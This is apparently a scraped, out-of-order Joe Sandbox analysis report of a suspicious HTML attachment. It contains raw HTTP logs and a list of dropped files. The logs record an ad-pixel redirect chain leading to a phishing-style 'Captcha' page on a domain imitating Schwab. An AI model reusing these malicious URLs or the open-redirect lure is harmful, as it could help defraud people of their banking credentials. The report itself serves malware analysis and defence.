Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-04-12 15:32:49 UTC	7	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 Date: Tue, 12 Apr 2022 15:32:49 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: private Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Location: https://t.myvisualiq.net/click_pixel?et=c&ago=212&ao=546&aca=26737887&si=7192763&ci=161117887&pi=317760010&ad=512366295&sv1=[keyword_id]&advt=4470646&chnl=-7&vndr=115&sz=6585&u=red=http://www.Atlanticare.phulharjutemills.com/get/ Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUmJ9xtnC5xazwZArEm1TnyXqFBrUb-E_o22oZu2eOfYQMf1olKLz5iNsCoaIX4; expires=Sun, 07-May-2023 15:32:49 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close

Timestamp	kBytes transferred	Direction	Data
2022-04-12 15:33:06 UTC	43	OUT	GET /crx/blobs/Acy1k0bLIjHsvnKaKN_oRpVaYYvFs25d7GKYF1WXrT6yizCMksBO0c_ggE0B6tx6HPRHe6q1GOEe3_NcIbSiGG8kXeLMUY0sAKVvC6R89zvKM13s5VqoAMZSmuUgjQL5vlygJuArQghXXE_qTL7NlQ/extension_8520_615_0_5.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-04-12 15:33:06 UTC	43	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycdtGA-df5S6hDlopu8VUyOcOjE6KIlbPr9uGFtuMqI-5Dny_-1sUkvT1bVi68rAxoLy0zZMgC4c96mYCtL4nSjXJXYkjnC6q Content-Disposition: attachment; filename="extension_8520_615_0_5.crx" Cross-Origin-Resource-Policy: same-site Accept-Ranges: bytes X-Goog-Hash: crc32c=DxAZGA== Content-Length: 768843 Server: UploadServer Date: Mon, 11 Apr 2022 20:44:01 GMT Expires: Tue, 11 Apr 2023 20:44:01 GMT Cache-Control: public, max-age=31536000 Age: 67745 Last-Modified: Wed, 05 Aug 2020 01:15:29 GMT ETag: 730d2491_a246e948_e80d9c94_d8b3f142_86eb8dd2 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-12 15:33:06 UTC	44	IN	Data Raw: 43 72 32 34 03 00 00 00 18 04 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 8f fb bf 5c 37 63 94 3c b0 ee 01 c4 b5 a6 9a b1 9f 46 74 6f 16 38 a0 32 27 35 dd f0 71 6b 0e dc f6 25 cb b2 ed ea fb 32 d5 af 1e 03 43 03 46 f0 a7 39 db 23 96 1d 65 e5 78 51 f0 84 b0 0e 12 ac 0e 5b dc c9 d6 4c 7c 00 d5 b8 1b 88 33 3e 2f da eb aa f7 1a 75 c2 ae 3a 54 de 37 8f 10 d2 28 e6 84 79 4d 15 b4 f3 bd 3f 56 d3 3c 3f 18 ab fc 2e 05 c0 1e 08 31 b6 61 d0 fd 9f 4f 3f 64 0d 17 93 bc ad 41 c7 48 be 00 27 a8 4d 70 42 92 05 54 a6 6d b8 de 56 6e 20 49 70 ee 10 3e 6b d2 7c 31 bd 1b 6e a4 3c 46 62 9f 08 66 93 f9 2a 51 31 a8 db b5 9d b9 0f 73 e8 a0 09 32 01 e9 7b 2a 8a 36 a0 cf 17 b0 50 70 9d a2 f9 a4 6f 62 4d Data Ascii: Cr240"0H0\7c<Fto82'5qk%2CF9#exQ[L\|3>/u:T7(yM?V<?.1aO?dAH'MpBTmVn Ip>k\|1n<FbfQ1s2{*6PpobM
2022-04-12 15:33:06 UTC	45	IN	Data Raw: 59 ae 40 3b f4 9e 6a bc a6 ca cb a3 80 eb 8b 1c a8 07 a9 3d 61 65 c8 c2 d3 30 c2 ff f6 cc 90 8b f9 14 44 55 b1 1f a8 1a 6e 1c 91 f5 6e 12 3b ff 49 70 72 cc a2 1f 51 db 15 1c 81 3a 10 b6 e5 20 3c e2 ad 87 0f d5 1e 80 61 09 59 dc 93 f3 83 96 97 87 7b 65 69 9e cd 12 a8 02 0a a2 01 30 81 9f 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 81 8d 00 30 81 89 02 81 81 00 cd 4d 62 68 3d 9f 5b 4f 7d b2 2b 1b ae 55 af 4b 48 46 28 6e 33 e8 5c 22 d7 dd d8 2c 67 d7 63 0e b5 8a 36 29 13 10 28 dd 45 ed ff 00 55 db fa ff 23 92 69 ad 61 03 e7 3a 04 98 9f 4e 89 fd 0a 1d 0e 50 88 1b a9 78 ef 4f a0 90 ea 28 6d 43 3b 7c eb 35 01 53 ac 7b 6d ea 61 45 78 8d bb 91 5b 7f 98 66 50 af 69 60 85 79 cc c2 35 b1 88 52 02 84 8b 90 76 7f 24 1a cf 2e b4 00 bd 6c 2d 6d ee b5 02 03 01 00 01 Data Ascii: Y@;j=ae0DUnn;IprQ: <aY{ei00*H0Mbh=[O}+UKHF(n3\",gc6)(EU#ia:NPxO(mC;\|5S{maEx[fPi`y5Rv$.l-m
2022-04-12 15:33:06 UTC	46	IN	Data Raw: 39 f8 f6 ad c7 4a cb 2f 1f 77 0d f5 97 97 c5 5f 2f ee 4b 21 c4 5f 5e de 7e 29 ae 9a 3f 8a c1 c7 9b f2 f2 e7 8b 83 8f 77 77 5f 6e 7f 7a f9 f2 f6 fe cb 97 eb 9b bb 17 1f 6a 3b be 58 5f ff fa 72 bd d5 ec cb e2 ea f6 df e5 cd 4b 08 bb 2a 89 5f 1c 0c ee 8a 9b 0f e5 1d 8c 5f ae 3e 17 57 ff bc 38 68 04 57 0f 19 ac 3f 17 b7 b7 70 f1 a6 fc d7 fd a7 9b 72 f3 3c ce 08 06 5e 7d 78 7e fb f1 fa df 70 f1 7f ee ae bf bc b8 bd bf bc fc b4 fe 04 8b 3b 2e cb cd aa 58 57 a2 6a 15 40 46 b0 99 55 06 9e 99 69 25 32 27 d9 60 40 0f c3 54 2a 57 e8 61 24 24 d0 59 30 1d a0 d3 c5 2c ef b6 1e 00 31 f7 64 d3 b3 96 91 0f 99 4e 45 d3 31 4b 63 4d 47 0d f6 3b ea d5 06 08 c9 60 85 f7 ca 04 25 25 9f d1 eb e0 30 31 ee e2 c8 60 5c 26 20 9b 40 82 ca bc 08 da b0 e5 57 6c c7 37 d9 13 d3 66 94 a2 Data Ascii: 9J/w_/K!_^~)?ww_nzj;X_rK__>W8hW?pr<^}x~p;.XWj@FUi%2'`@TWa$$Y0,1dNE1KcMG;`%%01`\& @Wl7f
2022-04-12 15:33:06 UTC	47	IN	Data Raw: a1 d8 5d 60 c4 24 86 5a 22 50 76 a3 9d 09 c2 58 61 80 31 5b de 09 1f d7 40 b6 42 55 3d 6c 6f 80 83 85 4c 08 e3 be 83 df 3c 6c 95 58 00 2b 52 42 5c b4 a3 e9 e8 90 f5 00 4c fc b4 1c 95 ad 07 ab 8d 6f 6f 8d 54 81 3a aa a3 88 45 b7 9f db fc b8 cd 34 1c a4 2f c8 d3 56 ad 05 64 e8 c5 c2 1d 97 6b ff e8 92 ca 4d fa c0 82 a0 9b cd 2a c5 b6 b8 32 0a bc d8 f0 a7 fd f9 1d 53 75 85 47 b6 62 5b 97 15 31 5f ec 34 e8 4b 82 df 3b dd f5 26 a3 7f 47 af 7c 4f 33 bc 69 98 32 ae b8 bf d7 fd c4 f6 f6 dd cd f5 fd ea 73 79 fb f1 fa fa 0e db dc 56 69 d7 74 4c 2d f0 51 c0 2e ca 67 19 00 85 20 ac 64 d1 02 96 dd 08 6b 75 1c 99 59 5b 6d c2 d8 10 64 d5 21 60 db 48 3b c1 17 9b 72 85 d9 7a 55 d3 94 b3 da 5b 88 6f ed 83 75 3a 28 eb d8 8e 03 44 7d 1d 23 9d 94 a5 77 f7 49 08 6d 8c f6 c4 ac Data Ascii: ]`$Z"PvXa1[@BU=loL<lX+RB\LooT:E4/VdkM*2SuGb[1_4K;&G\|O3i2syVitL-Q.g dkuY[md!`H;rzU[ou:(D}#wIm
2022-04-12 15:33:06 UTC	48	IN	Data Raw: 26 33 12 a8 5f c5 66 cd c3 99 c5 91 4d 0d 49 77 54 3b 27 68 d1 9c 97 d4 bf 7b 33 52 9b 72 ba 09 24 e6 1f 9c a8 95 56 1a 6f 24 00 7c 40 f9 19 f8 30 37 d3 e6 d4 62 1c 03 d3 94 36 68 11 94 87 e9 3b b5 67 77 22 7d 31 81 0d 1f 30 71 80 3c ec a4 b4 42 54 d1 c3 35 69 38 22 ec 33 e1 aa 6d 2e 51 6d bb 18 e0 59 66 cf 0b 0c 0f 70 d9 d8 d4 a2 fb 54 a1 a3 e3 76 9c 26 87 3b e2 9e 47 db bf 69 0a 4c a8 7a 35 e0 b4 32 78 98 5f f0 c0 fe bf 7b 6e 0d 7a 41 c1 15 1a 87 ac ed aa c2 65 ab 73 76 7b 28 59 ef 09 08 94 0f 15 ea ed f9 b8 9e b5 26 fe 56 14 e4 a7 82 b2 0f 86 9d 94 7e 3c 9c a1 0a eb 03 a7 f1 38 22 a2 f5 35 e6 21 34 3d a9 cb cd 69 05 ec 3e 56 a7 a1 33 e1 bd f6 0a a2 05 c2 86 ed a8 fd 8e 3b 8d 4f df ce 8d 00 86 c8 e0 4e 48 3d 79 a7 f6 2c 3f 1a 0d 97 d3 c9 62 9e 4f 97 c3 Data Ascii: &3_fMIwT;'h{3Rr$Vo$\|@07b6h;gw"}10q<BT5i8"3m.QmYfpTv&;GiLz52x_{nzAesv{(Y&V~<8"5!4=i>V3;ONH=y,?bO

Timestamp	kBytes transferred	Direction	Data
2022-04-12 15:32:49 UTC	3	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-04-12 15:32:49 UTC	3	OUT	Data Raw: 20 Data Ascii:
2022-04-12 15:32:49 UTC	5	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 12 Apr 2022 15:32:49 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-CHagw0F/ZfatXsI8SdA4WA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'nonce-CHagw0F/ZfatXsI8SdA4WA' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2022-04-12 15:32:49 UTC	7	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2022-04-12 15:32:49 UTC	7	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report _#U266c_Play Mp3MSG(#U00f0#U0178#U201c#U017e)899 ___3pm .htm

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Persistence and Installation Behavior

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic

C:\Users\user\AppData\Local\Google\Chrome\User Data\01ec82ab-9a75-4980-b9c9-c1af8e8864ed.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\1a05a393-6aa0-4945-bee8-909aab23c22a.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\20bf5909-dd4c-4e83-8653-3e5b7a77ba2d.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\4060e754-57ff-4205-82f3-8145365010a2.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\4cb3d450-d5ce-4d08-aec7-cb5fc1034fff.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\4d1d2cf5-bb4a-499e-9309-61ea693dd8ef.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\59f51db4-f579-4b19-9457-a5e8d2753444.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\5f4a032a-7af1-4b29-a66e-f17608578a92.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\79e70271-a2bb-4d26-ac3d-ce0bc3f521df.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\855619b6-869f-4a24-86c5-a2eb4ca2b0d6.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\19ad61b9-59f6-4934-bdd3-6fc38ade6ce7.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\1f88ed59-0cf5-4e15-aba9-7e51ba170a89.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\36bd458c-8676-497f-8e20-a12837e337d5.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\3aacd157-0880-4e2e-a54c-f0e93e98cb42.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\3b153cdb-de68-4157-9fdc-e4998ca1962d.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\446845bc-e5a5-47b1-8b7d-a312a8016545.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\5353b20c-fbee-47ae-9e11-e25a0b21bf27.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\5845f39f-f06c-4198-8f55-f11c1ae6b85a.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\61143dae-5cb8-4bf2-a423-ac7e89a4b043.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\7c43afc5-2516-4085-a805-a263154de27f.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\81c87120-4f81-4b2b-877a-20959681d02a.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\8eee2c29-b040-477b-9139-f0d97057fd49.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\computed_hashes.json

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG

Windows Analysis Report
_#U266c_Play Mp3MSG(#U00f0#U0178#U201c#U017e)899 ___3pm .htm

Timestamp	kBytes transferred	Direction	Data
2022-04-12 15:32:50 UTC	8	OUT	GET /click_pixel?et=c&ago=212&ao=546&aca=26737887&si=7192763&ci=161117887&pi=317760010&ad=512366295&sv1=[keyword_id]&advt=4470646&chnl=-7&vndr=115&sz=6585&u=red=http://www.Atlanticare.phulharjutemills.com/get/ HTTP/1.1 Host: t.myvisualiq.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-04-12 15:32:50 UTC	9	IN	HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache, no-store, must-revalidate Date: Tue, 12 Apr 2022 15:32:50 GMT Location: https://t.myvisualiq.net/ul_cb/click_pixel?et=c&ago=212&ao=546&aca=26737887&si=7192763&ci=161117887&pi=317760010&ad=512366295&sv1=[keyword_id]&advt=4470646&chnl=-7&vndr=115&sz=6585&u=red=http://www.Atlanticare.phulharjutemills.com/get/ Set-Cookie: tuuid=ea3190e6-f282-403f-b0cc-586e4c2b810c; path=/; expires=Thu, 11-Apr-2024 15:32:50 GMT; domain=.myvisualiq.net; samesite=none; secure Set-Cookie: c=1649777570; path=/; expires=Thu, 11-Apr-2024 15:32:50 GMT; domain=.myvisualiq.net; samesite=none; secure Set-Cookie: tuuid_lu=1649777570; path=/; expires=Thu, 11-Apr-2024 15:32:50 GMT; domain=.myvisualiq.net; samesite=none; secure Content-Length: 0 Connection: Close

Timestamp	kBytes transferred	Direction	Data
2022-04-12 15:32:50 UTC	10	OUT	GET /ul_cb/click_pixel?et=c&ago=212&ao=546&aca=26737887&si=7192763&ci=161117887&pi=317760010&ad=512366295&sv1=[keyword_id]&advt=4470646&chnl=-7&vndr=115&sz=6585&u=red=http://www.Atlanticare.phulharjutemills.com/get/ HTTP/1.1 Host: t.myvisualiq.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=ea3190e6-f282-403f-b0cc-586e4c2b810c; c=1649777570; tuuid_lu=1649777570
2022-04-12 15:32:50 UTC	11	IN	HTTP/1.1 302 Moved Temporarily access-control-allow-origin: * Cache-Control: no-cache, no-store, must-revalidate cross-origin-resource-policy: cross-origin Date: Tue, 12 Apr 2022 15:32:50 GMT Location: http://www.Atlanticare.phulharjutemills.com/get/ Set-Cookie: tuuid=ea3190e6-f282-403f-b0cc-586e4c2b810c; path=/; expires=Thu, 11-Apr-2024 15:32:50 GMT; domain=.myvisualiq.net; samesite=none; secure Set-Cookie: tuuid_lu=1649777570; path=/; expires=Thu, 11-Apr-2024 15:32:50 GMT; domain=.myvisualiq.net; samesite=none; secure Content-Length: 0 Connection: Close

Timestamp	kBytes transferred	Direction	Data
2022-04-12 15:32:55 UTC	11	OUT	GET /XyWCalyO HTTP/1.1 Host: login.secureauthenticatinos.schwabc.xyz Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: http://www.atlanticare.phulharjutemills.com/get/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-04-12 15:32:55 UTC	12	IN	HTTP/1.1 200 OK
2022-04-12 15:32:55 UTC	12	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2022-04-12 15:32:55 UTC	12	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a Data Ascii: Content-Type: text/html
2022-04-12 15:32:55 UTC	12	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4c 52 55 42 3d 35 63 61 39 35 66 61 32 61 39 38 30 30 30 65 35 30 61 36 66 64 64 65 37 36 31 32 66 35 35 66 38 35 66 62 65 65 32 36 64 36 65 36 39 38 31 64 39 38 66 63 61 35 39 38 39 39 64 66 35 38 37 36 62 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 73 65 63 75 72 65 61 75 74 68 65 6e 74 69 63 61 74 69 6e 6f 73 2e 73 63 68 77 61 62 63 2e 78 79 7a 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 31 32 20 41 70 72 20 32 30 32 32 20 31 36 3a 33 32 3a 35 35 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 36 30 30 0d 0a Data Ascii: Set-Cookie: LRUB=5ca95fa2a98000e50a6fdde7612f55f85fbee26d6e6981d98fca59899df5876b; Path=/; Domain=secureauthenticatinos.schwabc.xyz; Expires=Tue, 12 Apr 2022 16:32:55 GMT; Max-Age=3600
2022-04-12 15:32:55 UTC	12	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2022-04-12 15:32:55 UTC	12	IN	Data Raw: 0d 0a Data Ascii:
2022-04-12 15:32:55 UTC	12	IN	Data Raw: 32 62 36 34 0d 0a Data Ascii: 2b64
2022-04-12 15:32:55 UTC	12	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 43 61 70 74 63 68 61 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 2e 62 6c 6f 63 6b 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6c 65 66 74 3a 30 3b 74 6f 70 3a 30 7d 2e 73 6c 69 64 65 72 43 6f 6e 74 61 69 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 33 31 30 70 78 3b 68 65 69 67 68 74 3a 34 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 34 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 70 78 Data Ascii: <html><head><meta name="viewport" content="width=device-width,initial-scale=1"><title>Captcha</title><style>.block{position:absolute;left:0;top:0}.sliderContainer{position:relative;text-align:center;width:310px;height:40px;line-height:40px;margin-top:15px
2022-04-12 15:32:55 UTC	23	IN	Data Raw: 0d 0a Data Ascii:
2022-04-12 15:32:55 UTC	23	IN	Data Raw: 30 0d 0a Data Ascii: 0
2022-04-12 15:32:55 UTC	23	IN	Data Raw: 0d 0a Data Ascii:

Timestamp	kBytes transferred	Direction	Data
2022-04-12 15:32:55 UTC	23	OUT	GET /300/150/?image=467 HTTP/1.1 Host: picsum.photos Connection: keep-alive Origin: https://login.secureauthenticatinos.schwabc.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: image Referer: https://login.secureauthenticatinos.schwabc.xyz/XyWCalyO Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-04-12 15:32:56 UTC	23	IN	HTTP/1.1 302 Found Date: Tue, 12 Apr 2022 15:32:56 GMT Content-Length: 0 Connection: close location: https://i.picsum.photos/id/467/300/150.jpg?hmac=PVY6P6MpcWCQZzhP8AAoB_q-qVmTVOMnMag0jl6IyKA strict-transport-security: max-age=15552000 access-control-allow-origin: * Cache-Control: no-cache, no-store, must-revalidate CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QEEXT7Zen79NFvbbT%2BRfbyJzxBrsFfyTiuecIZsGGZi%2BEVABeUQG4n4hyCA98zoEXI73BUs25OGMtivXAOdS4EUwta7hecc%2BZHRk8BPrsyYGrpW5LGiq7AC1D1%2FMz9U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 6fad047a09279b83-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Timestamp	kBytes transferred	Direction	Data
2022-04-12 15:32:56 UTC	24	OUT	GET /id/467/300/150.jpg?hmac=PVY6P6MpcWCQZzhP8AAoB_q-qVmTVOMnMag0jl6IyKA HTTP/1.1 Host: i.picsum.photos Connection: keep-alive Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: image Referer: https://login.secureauthenticatinos.schwabc.xyz/XyWCalyO Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-04-12 15:32:56 UTC	37	IN	HTTP/1.1 200 OK Date: Tue, 12 Apr 2022 15:32:56 GMT Content-Type: image/jpeg Content-Length: 3569 Connection: close Cache-Control: public, max-age=2592000 Cf-Bgj: h2pri access-control-allow-origin: * access-control-expose-headers: Picsum-ID content-disposition: inline; filename="467-300x150.jpg" picsum-id: 467 strict-transport-security: max-age=15552000 via: 1.1 varnish (Varnish/6.2) x-varnish: 722702901 641996571 Last-Modified: Sat, 02 Apr 2022 08:55:55 GMT CF-Cache-Status: HIT Accept-Ranges: bytes Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: 